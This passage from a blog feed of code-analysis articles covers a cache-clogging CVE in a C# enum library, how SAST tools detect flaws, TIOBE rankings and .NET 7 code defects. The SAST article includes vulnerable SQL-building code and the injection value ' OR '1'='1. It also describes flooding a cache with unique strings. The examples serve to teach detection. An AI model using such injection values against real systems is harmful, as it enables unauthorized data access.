Well, well, well, interesting. It turns out that there's a caching option under the hood — Behavior.UseCaching. Since we didn't explicitly use the caching option, let's look at the default value:

/// <summary>
/// Controls whether Caching should be used. Defaults to false.
/// </summary>
public static bool UseCaching
{
  get => useCaching;
  set { useCaching = value; if (value) { ResetCaches(); } }
}

private static bool useCaching = true;

If the comment to the property is true, caches are disabled by default. Actually, they are enabled (useCaching — true).

You can already guess what's the issue. However, to be sure, let's dive deeper into the code.

With the knowledge obtained, we return to the TryParseStringValueToEnum method. Depending on the caching option, one of two methods will be called — TryParseStringValueToEnum_Uncached or TryParseStringValueToEnum_ViaCache:

if (!Behaviour.UseCaching)
{
  return TryParseStringValueToEnum_Uncached(lowerStringValue, 
                                            out parsedValue);
}

return TryParseStringValueToEnum_ViaCache(lowerStringValue, 
                                          out parsedValue);

In this case, the UseCaching property has the true value, the TryParseStringValueToEnum_ViaCache method gets control. You can view its code below, but you don't have to delve deeper into it — further on we're going to analyze the method step by step.

/// <remarks>
/// This is a little more complex than one might hope, 
/// because we also need to cache the knowledge 
/// of whether the parse succeeded or not.
/// We're doing that by storing `null`, 
/// if the answer is 'No'. And decoding that, specifically.
/// </remarks>
private static bool 
TryParseStringValueToEnum_ViaCache<TEnumType>(
  string lowerStringValue, out TEnumType parsedValue) where TEnumType 
                                                        : System.Enum
{
  var enumTypeObject = typeof(TEnumType);

  var typeAppropriateDictionary 
    = parsedEnumStringsDictionaryByType.GetOrAdd(
        enumTypeObject, 
        (x) => new ConcurrentDictionary<string, Enum>());

  var cachedValue 
    = typeAppropriateDictionary.GetOrAdd(
        lowerStringValue, 
        (str) =>
        {
          var parseSucceededForDictionary =       
                TryParseStringValueToEnum_Uncached<TEnumType>(
                  lowerStringValue, 
                  out var parsedValueForDictionary);

          return   parseSucceededForDictionary 
                 ? (Enum) parsedValueForDictionary 
                 : null;
        });

  if (cachedValue != null)
  {
    parsedValue = (TEnumType)cachedValue;
    return true;
  }
  else
  {
    parsedValue = default(TEnumType);
    return false;
  }
}

Let's analyze what happens in the method.

var enumTypeObject = typeof(TEnumType);

var typeAppropriateDictionary 
  = parsedEnumStringsDictionaryByType.GetOrAdd(
      enumTypeObject, 
      (x) => new ConcurrentDictionary<string, Enum>());

In the parsedEnumStringsDictionaryByType dictionary, the key is the type of enumeration that is used, and the value is the cache of strings and the results of their parsing.

So, we get the following cache scheme:

Cache <Enumeration type -> Cache <Source string -> Parsing result>>

parsedEnumStringsDictionaryByType is a static field:

private static 
ConcurrentDictionary<Type, ConcurrentDictionary<string, Enum>> 
parsedEnumStringsDictionaryByType;

Thus, typeAppropriateDictionary stores a reference to the cache of values for the enumeration type that we are working with (enumTypeObject).

Then the code parses the input string and saves the result in typeAppropriateDictionary:

var cachedValue 
  = typeAppropriateDictionary.GetOrAdd(lowerStringValue, (str) =>
    {
      var parseSucceededForDictionary 
        = TryParseStringValueToEnum_Uncached<TEnumType>(
            lowerStringValue, 
            out var parsedValueForDictionary);

      return   parseSucceededForDictionary 
             ? (Enum) parsedValueForDictionary 
             : null;
    });

In the end, the method returns the success flag and writes the resulting value to the out parameter:

if (cachedValue != null)
{
  parsedValue = (TEnumType)cachedValue;
  return true;
}
else
{
  parsedValue = default(TEnumType);
  return false;
}

The key problem is described in the method's comment:

This is a little more complex than one might hope, because we also need to cache the knowledge of whether the parse succeeded or not. We're doing that by storing null, if the answer is 'No'. And decoding that, specifically.

Even if the input string could not be parsed, it will still be saved to the typeAppropriateDictionary cache: the null value will be written as the result of parsing. Since typeAppropriateDictionary is a reference from the parsedEnumStringsDictionaryByType dictionary stored statically, objects exist between method calls (this makes sense because they are caches).

So, here's what happens. If attackers can send unique strings (that are parsed with the help of the library's API) to the application, they have an opportunity to "spam" the cache with all consequences that it implies.

The unique string parsing makes the typeAppropriateDictionary dictionary bigger. The debugger confirms that the cache is "spammed":

So, we've just discussed the CVE-2020-36620 vulnerability. Here's some additional information:

The fix is simple — the parsing of input values was removed (the commit).

Previously, typeAppropriateDictionary was filled in as data was obtained:

if the input string is "Yellow", the { "yellow", ConsoleColor.Yellow } pair is written to the cache;
if the input string is "Unknown", the { "unknown", null } pair is written to the cache
and so on.

Now, typeAppropriateDictionary is filled in advance. The dictionary initially stores the relationships of string representations of enumeration elements to the actual values:

Input values are not written to the dictionary — there's only an attempt to extract them:

if (typeAppropriateDictionary.TryGetValue(lowerStringValue, 
                                          out var cachedValue))
  ....

This fix made the cache no longer vulnerable to clogging with unique strings.

The library 4.0.1 already includes the fix, but the corresponding NuGet package is marked as vulnerable. Apparently, the information is taken from GitHub Advisory. It states that 4.0.2 is the secure version. However, the same entry contains links to data from NVD and vuldb. It indicates that the package has been secured since the 4.0.1 version, not 4.0.2. So, there's some confusion.

Here's another interesting thing: the vulnerability was closed at the end of May 2019, and information about it appeared in the databases 3.5 years later — at the end of December 2022.

As long as information about the vulnerability is not recorded in public databases, some tools will not be able to issue warnings about a security defect in the package.

On the one hand, such a delay is understandable — the project has 3 forks and 16 stars, it can be classified as "personal". On the other hand, the project has 200K package downloads in total — that's a significant number.

At that point we finish the review of the CVE-2020-36620 vulnerability. If you enjoyed it, I invite you to look through a couple of more similar notes:

P.S. I also post links to my publications on Twitter and LinkedIn — perhaps it will be convenient for someone to follow me there.

SAST: how code analysis tools look for security flaws

Sergey Vasiliev — Fri, 27 Jan 2023 13:32:56 +0000

Here we'll discuss how SAST solutions find security flaws. I'll tell you about different and complementary approaches to detecting potential vulnerabilities, explain why each of them is necessary, and how to turn theory into practice.

SAST (Static Application Security Testing) is used to find security defects without executing an application. While the "traditional" static analysis is the way to detect errors, SAST focuses on detecting potential vulnerabilities.

What does SAST look like for us? We take sources, give them to the analyzer and get a report with a list of possible security defects.

So, the main purpose of this article is to answer the question of how exactly SAST tools look for potential vulnerabilities.

Types of information being used

SAST solutions do not analyze the source code in a simple text representation: it's inconvenient, inefficient, and often insufficient. Therefore, analyzers work with intermediate code representations and several types of information. If combined, they provide the most complete representation of an application.

Syntax information

The analyzers work with an intermediate code representation. The most common are syntax trees (abstract syntax tree or parse tree).

Let's take a look at the error pattern:

operand#1 <operator> operand#1

The point is that the same operand is used to the left and right of the operator. The code of this kind may contain an error, when a comparison operation is used, for example.

a == a

However, the above case is a special one, and there are many variations:

one or both operands can be enclosed in brackets;
the operator can be not only '==', but also '!=', '||', etc.
operands may be element access, function calls, etc., rather than identifiers.

In this case it's just unhandy to analyze the code as a text. This is where syntax trees can help.

Let's take a look at the expression: a == (a). Its syntax tree may look like this:

Such trees are easier to work with: there is information about the structure, and it is easy to extract operands and operators from expressions. Do you need to omit the brackets? No problem. Simply go down the tree.

In this way trees are used as a convenient and structured representation of the code. However, syntax trees alone are not enough.

Semantic information

Here's an example:

if (lhsVar == rhsVar)
{ .... }

If lhsVar and rhsVar are the variables of the double type, the code may have some problems. For example, if both lhsVar and rhsVar are precisely equal to 0.5, this comparison is true. However, if one value is 0.5 and the other is 0.4999999999999, then the check results in false. Then the question arises: what kind of behavior does the developer expect? If he expects that the difference lies within the margin of error, the comparison should be rewritten.

Suppose we'd like to catch such cases. But here's the problem: the same comparison will be absolutely correct if the types of lhsVar and rhsVar are integer.

Let's imagine: the analyzer encounters the following expression while checking code:

if (lhsVar == rhsVar)
{ .... }

The question is: should we issue a warning in this case or not? You can look at the tree and see that the operands are identifiers, and the infix operation is a comparison. However, we cannot decide whether this case is dangerous or not, because we do not know the types of the lhsVar and rhsVar variables.

Semantic information comes to the rescue in this case. Using the semantics, you can get the tree node's data:

what type (in programming language terms) has the corresponding node expression;
which entity is represented by the node: local variable, parameter, field, etc.;
...

In the example above, we need information about the types of the lhsVar and rhsVar variables. All you have to do is get this information using a semantic model. If the variable type is real — then issue a warning.

Function annotations

Syntax and semantics are sometimes not enough. Look at the example:

IEnumerable<int> seq = null;
var list = Enumerable.ToList(seq);
....

The ToList method is declared in an external library, the analyzer does not have access to the source code. There is the seq variable with a null value, which is passed to the ToList method. Is this a safe operation or not?

Let's use syntax information. You can figure out where is the literal, where is the identifier, and where is the method call. But is calling the method safe? That's unclear.

Let's try semantics. You can understand that seq is a local variable, and even find its value. What can we learn about Enumerable.ToList? For example, the type of the return value and the type of the parameter. Is it safe to pass null to it? That's unclear.

Annotations are a possible solution. Annotations are a way to guide the analyzer on what the method does, what constraints it imposes on input and return values, etc.

An annotation for the ToList method in the analyzer's code may be the following:

Annotation("System.Collections.Generic",
           nameof(Enumerable),
           nameof(Enumerable.ToList),
           AddReturn(ReturnFlags.NotNull), 
           AddArg(ArgFlags.NotNull));

The main information that this annotation contains:

the full name of the method (including the type name and the namespace). If there are overloads, some additional information about the parameters may be needed;
restrictions on the return value. ReturnFlags.NotNull reports that the returned value will not be null;
restrictions on the input values. ArgFlags.NotNull specifies to the analyzer that the only argument of the method should not have a null value.

Let's go back to the initial example:

IEnumerable<int> seq = null;
var list = Enumerable.ToList(seq);
....

With the help of the annotation mechanism, the analyzer recognizes the limitations of the ToList method. If the analyzer tracks the value of the seq variable, it will be able to issue a warning on an exception of the NullReferenceException type.

Types of analysis

We now have an overview of an information used for the analysis. So, let's discuss types of the analysis.

Pattern-based analysis

Sometimes these "regular" errors are actually security flaws. Look at this example of a vulnerability.

iOS: CVE-2014-1266

Vulnerability Information:

CVE-ID: CVE-2014-1266
CWE-ID: CWE-20: Improper Input Validation
The NVD entry
Description: The SSLVerifySignedServerKeyExchange function in libsecurity_ssl/lib/sslKeyExchange.c in the Secure Transport feature in the Data Security component in Apple iOS 6.x before 6.1.6 and 7.x before 7.0.6, Apple TV 6.x before 6.0.2, and Apple OS X 10.9.x before 10.9.2 does not check the signature in a TLS Server Key Exchange message, which allows man-in-the-middle attackers to spoof SSL servers by (1) using an arbitrary private key for the signing step or (2) omitting the signing step.

Code:

....
if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
  goto fail;
  goto fail;
if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
  goto fail;
....

At first sight, it may seem that everything is ok. In fact, the second goto is unconditional. That's why the check with the SSLHashSHA1.final method call has never been performed.

The code should be formatted this way:

....
if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
  goto fail;
goto fail;
if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
  goto fail;
....

How can a static analyzer catch this kind of defect?

The first way is to see that goto is unconditional, and is followed by expressions without any labels.

Let's take the simplified code with the same meaning:

{
  if (condition)
    goto fail;
    goto fail;
  ....
}

Its syntax tree may look like this:

Block is a set of statements. It's also clear from the syntax tree that:

the first goto statement relates to the if statement, while the second one relates directly to the block;
the ExpressionStatement statement is between GotoStatement and LabeledStatement;
goto relating to the block is executed without a condition, but there is no label ahead of the ExpressionStatement. It means that ExpressionStatement is unreachable in this case.

Of course, this is a special case of heuristic. In practice, this kind of problem is better solved by more general mechanisms of calculating the reachability of the code.

Another way to catch the defect is to check if the formatting of the code corresponds to the execution logic.

A simplified algorithm would be as follows:

Examine the indentation before the if statement's then branch.
Take the next statement after if.
If a statement is on the next line after then branch and they have the same indentation — issue a warning.

The algorithms are simplified for clarity and do not include corner cases. Diagnostic rules are usually more complicated and contain more exceptions for cases where no warning is necessary.

Data flow analysis

Here's an example:

if (ptr || ptr->foo())
{ .... }

Developers messed up the logic of code by mixing up the operators '&&' and '||'. So, if ptr is a null pointer, it's dereferenced.

In this case the context is local, and it's possible to find an error by pattern-based analysis. The problems arise when the context gets spread. For example:

if (ptr)
{ .... }
// 50 lines of code
....
auto test = ptr->foo();

Here the ptr pointer is checked for NULL and then dereferenced without checking, it looks suspicious.

Note. I use NULL in the text to denote the value of the null pointer, not as a C macro.

It would be difficult to catch a similar case in patterns. It is necessary to issue a warning for the code example above, but not for the code fragment below, since ptr is not a null pointer at the time of dereferencing:

if (ptr)
{ .... }
// 50 lines of code
....
if (ptr)
{
  auto test = ptr->foo();
  ....
}

As a result, we concluded that it would be a good idea to trace variable values. This would be useful for the above examples, since tracking estimates the value that the ptr pointer has at a particular location in the application. If a pointer is dereferenced to NULL — then a warning is issued, otherwise — it is not.

Data flow analysis helps to trace the values that expressions have across various locations in the source code. The analyzer issues warnings based on this data.

Data flow analysis is useful for different types of data. Take a look at these examples:

boolean: true or false;
integer: value ranges;
pointers / references: null state.

Let's discuss the pointers example again. A null pointer dereference is a security defect — CWE-476: NULL Pointer Dereference.

if (ptr)
{ .... }
// 50 lines of code
....
auto test = ptr->foo();

First of all, the analyzer finds that ptr is checked for NULL. The check imposes restrictions on the value of ptr: the ptr is not a null pointer in then branch of the if statement. Since the analyzer knows this, it will not issue a warning to the following code:

if (ptr)
{ 
  ptr->foo();
}

But what is the value of ptr outside of the if statement?

if (ptr)
{ .... }
// ptr - ???

// 50 lines of code
....
auto test = ptr->foo();

Generally, it's unknown. However, the analyzer may incorporate the fact that ptr has already been checked for NULL. This way the developer declares a contract that ptr can take the NULL value. This fact may be kept.

As a result, when the analyzer meets the auto test = ptr->foo() expression, it may check the condition:

when dereferencing, the exact value of ptr is unknown.
ptr in the code above is checked for NULL.

Compliance with both conditions looks suspicious, and in this case a warning should be issued.

Now let's see how data flow analysis handles integer types. Look at the code containing the CWE-570: Expression is Always False security defect as an example.

void DataFlowTest(int x) 
{ 
  if (x > 10) 
  {
    var y = x - 10;
    if (y < 0)
      ....
    if (y <= 1)
      ....
  }
}

Let's start from the beginning. Take a look at the method's declaration:

void DataFlowTest(int x) 
{ .... }

In the local context (analysis within a single method), the analyzer has no information about what value x can have. However, the type of the parameter is defined — int. It helps to limit the range of possible values: [-2 147 483 648; 2 147 483 647] (assuming we count int of size 4 bytes).

Then there is a condition in the code:

if (x > 10)
{ .... }

If the analyzer checks then branch of the if statement, it imposes some additional restrictions to the range. The value of x is within the range of [11; 2 147 483 647] in then branch.

Then the y variable is declared and initialized:

var y = x - 10;

Since the analyzer knows limits of the values of x, it can calculate the possible value of y. To do this, 10 is deducted from the boundary values. So, the value of y lies within the range of [1; 2 147 483 637].

Next — the if statement:

if (y < 0)
  ....

The analyzer knows that at this execution point the value of the y variable is within the range of [1; 2 147 483 637]. It turns out that the value of y is always larger than zero, and the y < 0 expression is always false.

Let's look at a security flaw that can be found with data flow analysis.

ytnef: CVE-2017-6298

Vulnerability information:

CVE-ID: CVE-2017-6298
CWE-ID: CWE-476 NULL Pointer Dereference
The NVD entry
Description: * An issue was discovered in ytnef before 1.9.1. This is related to a patch described as "1 of 9. Null Pointer Deref / calloc return value not checked."*

Let's look at the code fragment:

....
TNEF->subject.data = calloc(size, sizeof(BYTE));          
TNEF->subject.size = vl->size; 
memcpy(TNEF->subject.data, vl->data, vl->size);
....

We'll explore from where the vulnerability comes:

The calloc function allocates the memory block and initializes it with zeros. If memory was not allocated, calloc returns null pointer.
A potential null pointer is written to the TNEF->subject.data field.
The TNEF->subject.data field is used as the first argument of the memcpy function. If the first argument of memcpy is a null pointer, undefined behavior occurs. As we know, TNEF->subject.data may be a null pointer.

Both annotations and data flow analysis will be helpful in identifying this problem.

Annotations:

calloc may return a null pointer;
the first argument of memcpy should not be a null pointer (by the way, neither can the second).

Data flow analysis tracks:

writing a potentially null pointer from the returned calloc value to TNEF->subject.data;
moving the value as a part of the TNEF->subject.data field;
getting a potentially null pointer into the first argument of the memcpy function from the TNEF->subject.data field.

The picture above shows how the analyzer tracks expression values to find the dereferencing of a potentially null pointer.

Taint analysis

Sometimes the analyzer may not know the exact values of the variables, or the possible values are too general to draw any conclusions. However, the analyzer may know that the data comes from an external source and may be compromised. So, the analyzer is ready to look for new security defects.

Let's look at the example of code that is vulnerable to SQL injections:

using (SqlConnection connection = new SqlConnection(_connectionString)) 
{
  String userName = Request.Form["userName"];
  using (var command = new SqlCommand() 
  {
    Connection = connection,
    CommandText = "SELECT * FROM Users WHERE UserName = '" + userName + "'",
    CommandType = System.Data.CommandType.Text
  }) 
  {
    using (var reader = command.ExecuteReader())
    { /* Data processing */ }
  }
}

In this case we're interested in the following:

data comes from a user and is written to the userName variable;
userName is inserted into the query, and then the query is written in the CommandText property;
the created SQL command is executed.

Suppose the string _SergVasiliev_ comes as userName from a user. Then the generated query would look like this:

SELECT * FROM Users WHERE UserName = '_SergVasiliev_'

The initial logic is the same — the data are extracted from the database for the user named _SergVasiliev_.

Now let's say that a user sends the following string: ' OR '1'='1. After substituting it into the query template, the query will look like this:

SELECT * FROM Users WHERE UserName = '' OR '1'='1'

An attacker managed to change the query's logic. Since a part of the expression is always true, the query returns data about all users.

By the way, this is where the meme about cars with strange license plates came from.

Let's look again at the example of vulnerable code:

using (SqlConnection connection = new SqlConnection(_connectionString)) 
{
  String userName = Request.Form["userName"];
  using (var command = new SqlCommand() 
  {
    Connection = connection,
    CommandText = "SELECT * FROM Users WHERE UserName = '" + userName + "'",
    CommandType = System.Data.CommandType.Text
  }) 
  {
    using (var reader = command.ExecuteReader())
    { /* Data processing */ }
  }
}

The analyzer does not know the exact value that will be written to userName. The value can be either the safe _SergVasiliev_ or the dangerous ' OR '1'='1. The code does not impose restrictions on the string either.

So, it turns out that data flow analysis does not help much to look for SQL injection vulnerabilities. Then taint analysis comes to the rescue.

Taint analysis deals with data transmission routes. The analyzer keeps track of where the data comes from, how it is distributed, and where it goes.

Taint analysis is used to detect various types of injections and those security flaws that arise due to insufficient user input checking.

In the SQL injection example, taint analysis can build a data transmission route that helps find the security flaw:

Here's an example of a real vulnerability that can be detected by taint analysis.

BlogEngine.NET: CVE-2018-14485

Vulnerability information:

CVE-ID: CVE-2018-14485
CWE-ID: CWE-611 Improper Restriction of XML External Entity Reference
The NVD entry
Description: BlogEngine.NET 3.3 allows XXE attacks via the POST body to metaweblog.axd.

Let's just briefly review the vulnerability from BlogEngine.NET, a more detailed review would take at least an article. By the way, there is an article on this topic and you can read it here.

BlogEngine.NET is a blogging platform written in C#. It turned out, that some handlers were vulnerable to XXE (XML eXternal Entity) attack. An attacker can steal data from the machine where the blog is deployed. For this purpose, one would need to send a specially configured XML file to a certain URL.

XXE vulnerability consists of two components:

an insecurely configured parser;
data from the attacker that this parser processes.

Only a dangerous parser can be tracked and a warning can be issued regardless of what data it processes. This approach has some pros and cons:

Pros: the analysis becomes easier since it does not depend on the data transmission route. If the analyzer can't track how the data is transmitted in the program — don't worry, a warning is issued anyway.
Cons: more false positives. Warnings are issued regardless of whether secure data is being processed or not.

Suppose we finally decided to track user data. In this case, taint analysis also comes in handy.

But let me take you back to XXE. CVE-2018-14485 from BlogEngine.NET can be caught this way:

The analyzer starts tracking data transmission with an HTTP request and sees how data is passed between variables and methods. Also, it tracks the movement of a dangerous parser instance (request of the XmlDocument type) through the program.

The data comes together in the request.LoadXml(xml) call — a parser with a dangerous configuration processes user data.

I have compiled a theory of XXE and a detailed description of this vulnerability in the following article: "Vulnerabilities due to XML files processing: XXE in C# applications in theory and in practice".

Conclusion

We've discussed some options for finding vulnerabilities in the application's source code, as well as their strong and weak points. The main purpose of this article is to explain how SAST tools look for vulnerabilities. However, in conclusion I wish to remind why they look for vulnerabilities.

1. The year 2022 (even before it is over) has already surpassed 2021 in the number of safety defects discovered. That's why safety has to be a concern.

2. The sooner a vulnerability is found, the easier and cheaper it is to fix. SAST tools reduce financial and reputational risks because they help to find and fix bugs as early as possible. I covered this topic in more detail here: "SAST in Secure SDLC: 3 reasons to integrate it in a DevSecOps pipeline".

C++ — programming language of the year 2022. What about other languages?

Sergey Vasiliev — Fri, 20 Jan 2023 12:42:37 +0000

Overtaking Python, C++ became the TIOBE's language of 2022. It outscored Rust, C#, Go and others by a large margin. Don't you find this weird? Well, let's figure this out.

The rating we're talking about is based on the TIOBE index. Here's the table of the 20 most popular languages for January 2023:

Here's the main question: why is C++ the language of 2022? According to the table, Python takes the first place in the rating.

Here's the answer: TIOBE chose the winner by the growth of the language popularity. In this regard, C++ is ahead of the curve.

Here's the top five leaders in popularity growth:

C++ (+4.62 %)
C (+3.82 %)
Python (+2.78 %)
Java (+1.55 %)
JavaScript (+0.78 %)

TIOBE gives several reasons explaining C++'s growing popularity. Although C++ is an OOP language, it provides excellent performance. Moreover, ISO constantly releases new standards. TIOBE points out that the language started going uphill since the C++11 publication. They also suppose that C++20 which introduced modules will probably lift C++ further in the TIOBE index in the next few years.

Here are a few more curious results from the TIOBE index:

Rust entered the Top 20 again (from #26 to #18);
F# jumped from position #74 to #33;
Lua jumped 6 positions from #30 to #24;
Kotlin jumped from #29 to #25.

Here are some thoughts that crossed my mind after viewing the table and reading the article:

Visual Basic takes position #6 — wait, what?! It's amusing to compare the absolute rating of VB (4.64%) with Go (1.14%) and Rust (0.61%).
It's a pity that C# gets only +0.05%. That's a scanty increase (especially when comparing it with Java).
I feel happy for F# — it made a great jump!
Some people are skeptical about TIOBE ratings because of the way they calculate the popularity of languages. And that's a fair point. The Visual Basic position in this index kind of suggests that their algorithm of choosing a language is not perfect. Well, perhaps C# has actually become more popular, who knows.
As Bjarne Stroustrup said: "There are only two kinds of languages: the ones people complain about and the ones nobody uses."
In case you're curious to learn about the most interesting bugs in projects written on different programming languages, here you are:
- Top 10 bugs found in C# projects in 2022
- Top 10 bugs found in C++ projects in 2022

What are your thoughts on the rating?

.NET 7: suspicious places and errors in the source code

Sergey Vasiliev — Wed, 14 Dec 2022 09:43:35 +0000

.NET 7 has been released! It's time for us to dig into its source code and start looking for errors and strange code fragments. In this article, you'll see comments on our findings from the .NET developers. After all, they know the platform code better than anyone else. Buckle up!

I analyzed the release code of .NET 7. You can find it on GitHub: link.

There were two release candidates (RC) prior to the main release, so most of the bugs must have been fixed. It's more interesting that way — we can investigate whether some of them have gotten into production.

I created an issue on GitHub for each suspicious code fragment. This helped me understand which ones are redundant, which ones are incorrect, and what was fixed by developers.

Issue 1

Can you spot an error here? Let's check!

internal sealed record IncrementalStubGenerationContext(
  StubEnvironment Environment,
  SignatureContext SignatureContext,
  ContainingSyntaxContext ContainingSyntaxContext,
  ContainingSyntax StubMethodSyntaxTemplate,
  MethodSignatureDiagnosticLocations DiagnosticLocation,
  ImmutableArray<AttributeSyntax> ForwardedAttributes,
  LibraryImportData LibraryImportData,
  MarshallingGeneratorFactoryKey<
    (TargetFramework, Version, LibraryImportGeneratorOptions)
  > GeneratorFactoryKey,
  ImmutableArray<Diagnostic> Diagnostics)
{
  public bool Equals(IncrementalStubGenerationContext? other)
  {
    return    other is not null
           && StubEnvironment.AreCompilationSettingsEqual(Environment, 
                                                          other.Environment)
           && SignatureContext.Equals(other.SignatureContext)
           && ContainingSyntaxContext.Equals(other.ContainingSyntaxContext)
           && StubMethodSyntaxTemplate.Equals(other.StubMethodSyntaxTemplate)
           && LibraryImportData.Equals(other.LibraryImportData)
           && DiagnosticLocation.Equals(DiagnosticLocation)
           && ForwardedAttributes.SequenceEqual(other.ForwardedAttributes, 
                (IEqualityComparer<AttributeSyntax>)
                  SyntaxEquivalentComparer.Instance)
          && GeneratorFactoryKey.Equals(other.GeneratorFactoryKey)
          && Diagnostics.SequenceEqual(other.Diagnostics);
    }

    public override int GetHashCode()
    {
      throw new UnreachableException();
    }
}

This code fragment checks whether the this and other objects are equivalent. However, the developer made a mistake and compared the DiagnosticLocation property with itself.

Incorrect comparison:

DiagnosticLocation.Equals(DiagnosticLocation)

Correct comparison:

DiagnosticLocation.Equals(other.DiagnosticLocation)

I found this error in the LibraryImportGenerator class (link to GitHub). A bit later I found two more fragments — the same error, but in different classes:

the JSImportGenerator class, link to GitHub;
the JSExportGenerator class, link to GitHub.

Fun fact: .NET 7 has a test for this feature. However, the test is also incorrect, that's why it doesn't detect this error.

In .NET 8 the code is heavily rewritten. However, the developers haven't fixed the .NET 7 code yet — they decided to wait for the feedback. You can read more about it in the issue on GitHub.

Issue 2

internal static void CheckNullable(JSMarshalerType underlyingSig)
{
    MarshalerType underlying = underlyingSig._signatureType.Type;
    if (underlying == MarshalerType.Boolean
        || underlying == MarshalerType.Byte
        || underlying == MarshalerType.Int16
        || underlying == MarshalerType.Int32
        || underlying == MarshalerType.BigInt64
        || underlying == MarshalerType.Int52
        || underlying == MarshalerType.IntPtr
        || underlying == MarshalerType.Double
        || underlying == MarshalerType.Single // <=
        || underlying == MarshalerType.Single // <=
        || underlying == MarshalerType.Char
        || underlying == MarshalerType.DateTime
        || underlying == MarshalerType.DateTimeOffset
        ) return;
    throw new ArgumentException("Bad nullable value type");
}

Location: JSMarshalerType.cs, 387 (link)

Here the developer double-checks if the underlying variable equals to MarshalerType.Single. Sometimes such checks hide errors: for example, the left and right variables should have been checked, but instead the left variable is checked twice. Here's a list of similar errors found in open-source projects.

I created an issue on GitHub: link. Luckily, this code fragment wasn't erroneous — it was just a redundant check.

Issue 3

public static bool TryParse(string text, out MetricSpec spec)
{
  int slashIdx = text.IndexOf(MeterInstrumentSeparator);
  if (slashIdx == -1)
  {
    spec = new MetricSpec(text.Trim(), null);
    return true;
  }
  else
  {
    string meterName = text.Substring(0, slashIdx).Trim();
    string? instrumentName = text.Substring(slashIdx + 1).Trim();
    spec = new MetricSpec(meterName, instrumentName);
    return true;
  }
}

Location: MetricsEventSource.cs, 453 (link)

The TryParse method always returns true. This is weird. Let's see where this method is used:

private void ParseSpecs(string? metricsSpecs)
{
  ....
  string[] specStrings = ....
  foreach (string specString in specStrings)
  {
    if (!MetricSpec.TryParse(specString, out MetricSpec spec))
    {
      Log.Message($"Failed to parse metric spec: {specString}");
    }
    else
    {
      Log.Message($"Parsed metric: {spec}");
      ....
    }
  }
}

Location: MetricsEventSource.cs, 375 (link)

The return value of the TryParse method is used as the condition of the if statement. If specString cannot be parsed, the original value should be logged. Otherwise, the received representation (spec) is logged, and some operations are performed on it.

The problem is, TryParse always returns true. Thus, the then branch of the if statement is never executed — the parsing is always successful.

Issue on GitHub: link.

As a result of the fix, TryParse became Parse, and the caller method lost the if statement. The developers also changed Substring to AsSpan in TryParse.

By the way, this is the same code fragment that I noted when digging in the .NET 6 source code. But back then, the interpolation character was missing in the logging method:

if (!MetricSpec.TryParse(specString, out MetricSpec spec))
{
  Log.Message("Failed to parse metric spec: {specString}");
}
else
{
  Log.Message("Parsed metric: {spec}");
  ....
}

You can read more about this issue in the article about .NET 6 check (issue 14).

Issue 4

Since we mentioned methods with strange return values, let's look at another one:

public virtual bool TryAdd(XmlDictionaryString value, out int key)
{
  ArgumentNullException.ThrowIfNull(value);

  IntArray? keys;

  if (_maps.TryGetValue(value.Dictionary, out keys))
  {
    key = (keys[value.Key] - 1);

    if (key != -1)
    {
      // If the key is already set, then something is wrong
      throw System.Runtime
                  .Serialization
                  .DiagnosticUtility
                  .ExceptionUtility
                  .ThrowHelperError(
      new InvalidOperationException(SR.XmlKeyAlreadyExists));
     }

     key = Add(value.Value);
     keys[value.Key] = (key + 1);
     return true;               // <=
  }

  key = Add(value.Value);
  keys = AddKeys(value.Dictionary, value.Key + 1);
  keys[value.Key] = (key + 1);
  return true;                  // <=
}

Location: XmlBinaryWriterSession.cs, 28 (link)

The method either returns true or throws an exception — it never returns false. This is a public API, so there's more demand for quality.

Let's look at the description on learn.microsoft.com:

Oopsie. I created an issue on GitHub for it as well (link), but at the moment of writing this article there was no news on it.

Issue 5

public static Attribute? GetCustomAttribute(ParameterInfo element, 
                                            Type attributeType, 
                                            bool inherit)
{
  // ....
  Attribute[] attrib = GetCustomAttributes(element, attributeType, inherit);

  if (attrib == null || attrib.Length == 0)
    return null;

  if (attrib.Length == 0)
    return null;

  if (attrib.Length == 1)
    return attrib[0];

  throw new AmbiguousMatchException(SR.RFLCT_AmbigCust);
}

Location: Attribute.CoreCLR.cs, 617 (link)

In this code fragment, the same expression — attrib.Length == 0 — is checked twice: first as a right operand of the '||' operator, then as a condition of the if statement.

Sometimes this may be an error — developers want to check one thing but instead check another. We were lucky here: the second check was just redundant and the developers removed it.

Issue on GitHub: link.

Issue 6

protected virtual XmlSchema? GetSchema()
{
  if (GetType() == typeof(DataTable))
  {
    return null;
  }
  MemoryStream stream = new MemoryStream();

  XmlWriter writer = new XmlTextWriter(stream, null);
  if (writer != null)
  {
    (new XmlTreeGen(SchemaFormat.WebService)).Save(this, writer);
  }
  stream.Position = 0;
  return XmlSchema.Read(new XmlTextReader(stream), null);
}

Location: DataTable.cs, 6678 (link)

The developer created an instance of the XmlTextWriter type. Then a reference to this instance is assigned to the writer variable. However, in the next line the developer checked writer for null. The check always returns true, which means the condition is redundant here.

It's not horrific, but it's better to remove the check. The developers did that, actually (issue on GitHub).

Issue 7

Redundant code again, but this time it's less obvious:

public int ToFourDigitYear(int year, int twoDigitYearMax)
{
  if (year < 0)
  {
    throw new ArgumentOutOfRangeException(nameof(year), 
                                          SR.ArgumentOutOfRange_NeedPosNum);
  }

  if (year < 100)
  {
    int y = year % 100;
    return (twoDigitYearMax / 100 - (y > twoDigitYearMax % 100 ? 1 : 0)) 
             * 100 + y;
  }
  ....
}

Location: GregorianCalendarHelper.cs, 526 (link)

Let's look at how the range of the year variable are checked throughout the code execution:

ToFourDigitYear(int year, int twoDigitYearMax)

year is a parameter of the int type*.* Which means its value is within the [int.MinValue; int.MaxValue] range.

When the code is executed, the if statement is met first; in this statement, an exception is thrown:

if (year < 0)
{
  throw ....;
}

If there's no exception, then the year value is within [0; int.MaxValue].

Then, another if statement:

if (year < 100)
{
  int y = year % 100;
  ....
}

If the code execution is in the then branch of if, then the year value is within the [0; 99] range. This leads to an interesting result — to the operation of taking the remainder of the division:

int y = year % 100;

The year value is always less than 100 (i.e., the value is between 0-99). Therefore, the result of the year % 100 operation is always equal to the left operand — year. Thus, y is always equal to year.

Either the code is redundant or it's an error. After I opened the issue on GitHub, the code was fixed and the y variable was removed.

Issue 8

internal ConfigurationSection
FindImmediateParentSection(ConfigurationSection section)
{
  ....
  SectionRecord sectionRecord = ....
